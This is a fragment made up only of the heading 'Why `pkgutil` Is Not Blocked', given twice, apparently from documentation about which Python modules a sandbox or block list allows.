Why `pkgutil` Is Not Blocked

Why `pkgutil` Is Not Blocked